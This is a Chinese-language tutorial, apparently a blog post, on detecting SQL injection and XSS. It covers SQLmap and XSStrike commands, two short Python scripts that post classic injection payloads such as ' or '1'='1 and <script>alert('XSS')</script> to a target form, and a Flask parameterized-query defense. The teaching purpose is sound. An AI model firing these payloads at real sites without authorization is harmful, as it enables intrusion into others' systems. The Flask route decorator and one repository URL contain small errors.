Linux web渗透攻防

Web 渗透与攻防在 Linux 中的实现(以下内容仅用于学习安全知识和测试安全机制,禁止用于非法活动)及代码示例

SQL 注入检测(以 Python 和 SQLmap 为例)

安装 SQLmap:

可以从 SQLmap 官方网站(https://sqlmap.org/)下载,解压后即可使用。通常可以通过命令克隆代码仓库

复制代码
git clone https://github.com/sqlmap/sqlmap.git

然后进入目录使用命令运行

复制代码
python sqlmap.py

使用 SQLmap 进行 SQL 注入检测:

运行命令

复制代码
python sqlmap.py -u http://example.com/login.php --data "username=&password="

http://example.com/login.php替换为目标登录页面的 URL,--data参数后的内容根据实际表单数据修改 来检测是否存在 SQL 注入漏洞。

简单的手动检测 SQL 注入代码示例(使用 Python 的 requests 库)

复制代码
import requests

def sql_injection_test(url):
    payloads = ["' or '1'='1", "1' or '1'='1 --"]
    for payload in payloads:
        data = {"username": payload, "password": "test"}
        try:
            response = requests.post(url, data=data)
            if "Login successful" in response.text:
                print("可能存在SQL注入漏洞, payload: ", payload)
        except requests.RequestException as e:
            print("请求出错: ", e)

if __name__ == "__main__":
    target_url = input("请输入要测试SQL注入的登录页面URL:")
    sql_injection_test(target_url)

XSS(跨站脚本攻击)检测

使用工具方式(以 XSS - Striker 为例)

安装 XSS - Striker:

从官方网站(https://xsstrike.github.io/)下载,或者通过命令克隆代码仓库

复制代码
git clone https://github.com/s0md3v/XSS - Striker.git

进入目录后按照文档安装依赖并运行。

使用 XSS - Striker 检测 XSS 漏洞:

运行命令

复制代码
python xsstrike.py -u http://example.com/search.php

http://example.com/search.php替换为目标页面 URL 来检测是否存在 XSS 漏洞。

简单的手动检测 XSS 代码示例(使用 Python 的 requests 和 BeautifulSoup 库)

复制代码
import requests
from bs4 import BeautifulSoup

def xss_detection(url):
    payloads = ["<script>alert('XSS')</script>", "<img src=x onerror=alert('XSS')>"]
    for payload in payloads:
        try:
            data = {"input": payload}
            response = requests.post(url, data=data)
            soup = BeautifulSoup(response.text, 'html.parser')
            if payload in soup.text:
                print("可能存在XSS漏洞, payload: ", payload)
        except requests.RequestException as e:
            print("请求出错: ", e)

if __name__ =="__main__":
    target_url = input("请输入要测试XSS的页面URL:")
    xss_detection(target_url)

防御措施示例(以防止 SQL 注入为例,在 Python 的 Flask 框架中)

复制代码
from flask import Flask, request, jsonify
import sqlite3

app = Flask(__name__)

# 正确的数据库查询方式,使用参数化查询
@app.route('/login', method=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
    query = "SELECT * FROM users WHERE username =? AND password =?"
    cursor.execute(query, (username, password))
    user = cursor.fetchone()
    if user:
        return jsonify({"message": "Login successful"})
    else:
        return jsonify({"message": "Login failed"})

if __name__ == "__main__":
    app.run()

在上述代码中,通过使用参数化查询(cursor.execute(query, (username, password))),将用户输入作为参数传递,而不是直接拼接 SQL 语句,从而有效地防止了 SQL 注入攻击。对于 XSS 防御,在 Web 应用中可以使用模板引擎的自动转义功能(如在 Flask 中,Jinja2 模板引擎默认会对变量进行转义),或者手动对用户输入进行 HTML 转义。

相关推荐
Mr. Cao code3 分钟前
Docker:颠覆传统虚拟化的轻量级革命
linux·运维·ubuntu·docker·容器
抓饼先生24 分钟前
Linux control group笔记
linux·笔记·bash
挺6的还1 小时前
25.线程概念和控制(二)
linux
您的通讯录好友1 小时前
conda环境导出
linux·windows·conda
代码AC不AC2 小时前
【Linux】vim工具篇
linux·vim·工具详解
码农hbk2 小时前
Linux signal 图文详解(三)信号处理
linux·信号处理
bug攻城狮2 小时前
Skopeo 工具介绍与 CentOS 7 安装指南
linux·运维·centos
宇宙第一小趴菜3 小时前
08 修改自己的Centos的软件源
linux·运维·centos
bug攻城狮3 小时前
彻底禁用 CentOS 7.9 中 vi/vim 的滴滴声
linux·运维·服务器·centos·vim
XMYX-03 小时前
Linux 物理机如何区分 SSD 与 HDD ——以 DELL PERC H730 Mini 为例
linux·运维